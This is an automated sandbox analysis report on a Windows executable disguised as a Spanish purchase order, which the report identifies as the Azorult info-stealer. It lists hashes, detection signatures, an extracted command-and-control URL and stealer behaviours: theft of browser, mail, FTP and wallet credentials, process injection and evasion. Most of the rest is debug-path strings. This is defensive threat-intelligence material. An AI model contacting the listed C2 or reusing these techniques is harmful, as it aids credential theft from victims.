Windows Analysis Report
NUEVA ORDEN-MATSA 10-2022,.exe

Overview

General Information

Sample Name: NUEVA ORDEN-MATSA 10-2022,.exe
Analysis ID: 715078
MD5: 5bb547610939ac07657f6216a28498cb
SHA1: 89eadfa478804f0a5798e26871ff45c4906349ee
SHA256: 3d70466e2cb7b2b051feb16750acb3b40af81f4595a0c0ffa865c13907820ca2
Tags: AZORultexe
Infos:

Detection

Azorult
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected Azorult
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Azorult Info Stealer
Antivirus / Scanner detection for submitted sample
Snort IDS alert for network traffic
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Tries to steal Crypto Currency Wallets
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
Machine Learning detection for sample
Allocates memory in foreign processes
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
DLL side loading technique detected
Tries to harvest and steal Bitcoin Wallet information
C2 URLs / IPs found in malware configuration
Found many strings related to Crypto-Wallets (likely being stolen)
Tries to steal Instant Messenger accounts or passwords
Tries to harvest and steal browser information (history, passwords, etc)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to query locales information (e.g. system language)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Yara detected Credential Stealer
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Is looking for software installed on the system
Queries information about the installed CPU (vendor, model number etc)
PE file does not import any functions
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Extensive use of GetProcAddress (often used to hide API calls)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Binary contains a suspicious time stamp
PE / OLE file has an invalid certificate
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: NUEVA ORDEN-MATSA 10-2022,.exe ReversingLabs: Detection: 27%
Antivirus / Scanner detection for submitted sample
Source: NUEVA ORDEN-MATSA 10-2022,.exe Avira: detected
Machine Learning detection for sample
Source: NUEVA ORDEN-MATSA 10-2022,.exe Joe Sandbox ML: detected
Source: 00000000.00000002.250173775.0000000003A41000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Azorult {"C2 url": "http://cinho.shop/PL341/index.php"}
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe Code function: 1_2_004094C4 CryptUnprotectData,LocalFree, 1_2_004094C4
Source: NUEVA ORDEN-MATSA 10-2022,.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283784153.000000000825C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283874998.0000000008260000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.268070409.0000000008394000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.268608129.0000000007888000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.268551087.0000000007884000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284321181.0000000007528000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: cvtres.exe, 00000001.00000003.271250139.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270748656.00000000084D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ucrtbase.pdb source: cvtres.exe, 00000001.00000003.273084362.00000000084C0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289682200.0000000008280000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275089189.00000000083A0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: cvtres.exe, 00000001.00000003.277974574.00000000081D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277832553.00000000081D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277807355.00000000081CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277654923.00000000081C8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277992608.00000000081D8000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.265401720.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.264246608.0000000008398000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277807355.00000000081CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277654923.00000000081C8000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.1.dr
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283030101.000000000821C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.267015957.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283366893.0000000008228000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283409391.000000000822C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283458551.0000000008230000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283196066.0000000008220000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283618817.0000000008244000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283698525.000000000824C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283672079.0000000008248000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283746313.0000000008250000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.267832549.0000000008394000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.268762769.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284414482.00000000075F0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284181718.00000000075E0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.278062158.00000000081E8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278006231.00000000081E4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278187484.00000000081EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.264827087.0000000008398000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-util-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283512359.0000000008234000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283598432.0000000008238000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283030101.000000000821C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283366893.0000000008228000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.267278671.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283409391.000000000822C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283458551.0000000008230000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283196066.0000000008220000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283030101.000000000821C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283366893.0000000008228000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.266752483.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283196066.0000000008220000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283618817.0000000008244000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283698525.000000000824C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283672079.0000000008248000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.267651225.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: vcruntime140.i386.pdbGCTL source: cvtres.exe, 00000001.00000003.276245137.00000000066AC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.290995859.0000000007858000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289559436.0000000007834000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.1.dr
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: cvtres.exe, 00000001.00000003.269785480.00000000078CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287248341.000000000765C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269714098.0000000007880000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\NMCVXCXMXKJDFGDJKJDF.pdbBSJB source: NUEVA ORDEN-MATSA 10-2022,.exe
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.277832553.00000000081D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277807355.00000000081CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277654923.00000000081C8000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.1.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.265957997.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269369848.00000000078D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286974853.0000000007608000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.286617765.0000000007604000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269057239.0000000007878000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.269503745.0000000007880000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.1.dr
Source: Binary string: api-ms-win-crt-private-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.268301473.000000000788C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.268329300.0000000007874000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.284181718.00000000075E0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.1.dr
Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.264406495.0000000008398000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277974574.00000000081D4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277832553.00000000081D0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277807355.00000000081CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277654923.00000000081C8000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.283618817.0000000008244000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283672079.0000000008248000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.267505452.0000000008394000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\NMCVXCXMXKJDFGDJKJDF.pdb source: NUEVA ORDEN-MATSA 10-2022,.exe
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: cvtres.exe, 00000001.00000003.272644545.00000000066CC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272757796.00000000066A4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289559436.0000000007834000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.1.dr
Source: Binary string: msvcp140.i386.pdb source: cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270034811.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.270237118.0000000006694000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.266283140.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ucrtbase.pdbUGP source: cvtres.exe, 00000001.00000003.273084362.00000000084C0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289682200.0000000008280000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.275089189.00000000083A0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.284438762.00000000075FC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.285608637.0000000007600000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: cvtres.exe, 00000001.00000003.289068722.00000000076EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.289451882.000000000781C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.287286269.0000000007684000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272309123.0000000006694000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.272210606.00000000083A0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.1.dr
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.278062158.00000000081E8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278006231.00000000081E4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.1.dr
Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\BROTHERS.pdbBSJB source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.250033059.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.251914030.0000000004A80000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdb source: cvtres.exe, 00000001.00000003.283030101.000000000821C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.282787916.0000000008218000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278525765.0000000008210000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283366893.0000000008228000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.266909184.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283409391.000000000822C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278671132.0000000008214000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283196066.0000000008220000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.1.dr
Source: Binary string: C:\Users\Administrator\Documents\CryptoObfuscator_Output\BROTHERS.pdb source: NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.250033059.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, NUEVA ORDEN-MATSA 10-2022,.exe, 00000000.00000002.251914030.0000000004A80000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.278457897.0000000008208000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278497281.000000000820C000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.265791708.0000000008394000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278263471.0000000008204000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.277589930.00000000081C4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.277654923.00000000081C8000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: cvtres.exe, 00000001.00000003.267391292.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.283618817.0000000008244000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: cvtres.exe, 00000001.00000003.278062158.00000000081E8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278006231.00000000081E4000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278239292.00000000081F8000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.265263773.0000000007870000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000002.303799165.0000000007A00000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278187484.00000000081EC000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278214445.00000000081F0000.00000004.00001000.00020000.00000000.sdmp, cvtres.exe, 00000001.00000003.278227969.00000000081F4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.1.dr
